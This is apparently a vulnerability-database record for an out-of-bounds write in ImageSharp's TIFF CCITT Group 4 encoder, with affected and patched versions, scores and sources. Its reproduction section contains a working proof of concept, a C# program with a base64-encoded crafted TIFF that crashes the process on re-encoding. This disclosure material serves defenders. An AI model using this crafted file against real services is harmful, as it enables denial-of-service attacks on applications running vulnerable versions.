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Response snapshot Oct 26, 2026, 22:02 UTC

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VulnerabilityCVE-2026-106115

ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception. - Package: `SixLabors.

Published Updated

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
0.4% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-jjfr-hcj7-qf5w (opens a new tab)

What happened

### Summary

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.1.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.

Continue reading

The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. ### Details

[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.

After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.

com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.

The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.

### Tested environment

- Published NuGet package: `SixLabors.ImageSharp` 4.1.1 - Target framework: `net8.0` - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker

No active exploitation is known.

### Reproduction

Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:

```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants;

string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");

using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");

using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); }

Console.WriteLine($"encoded=True bytes={output.Length}"); ```

Run:

```text dotnet run -- exploit dotnet run -- control ```

The exploit produced exit code 134:

```text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height) ```

The control completed with exit code 0:

```text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212 ```

### Impact

One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

Affected package ranges reported by GitHub: SixLabors.ImageSharp: >= 2.1.0, < 3.2.0 SixLabors.ImageSharp: >= 4.0.0, < 4.1.2

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 32.4%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-jjfr-hcj7-qf5w (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-jjfr-hcj7-qf5w, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-106115, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer (CVE-2026-106115). https://kevwire.com/record/CVE-2026-106115

MLA

"ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer (CVE-2026-106115)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-106115.

Chicago

KEVWire. "ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer (CVE-2026-106115)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-106115.

Evidence summary (plain text)

ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer (Oct 7, 2026).
The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.1.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-jjfr-hcj7-qf5w).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106115&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-jjfr-hcj7-qf5w: https://github.com/advisories/GHSA-jjfr-hcj7-qf5w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106115&date=2026-10-26
Record ID: CVE-2026-106115.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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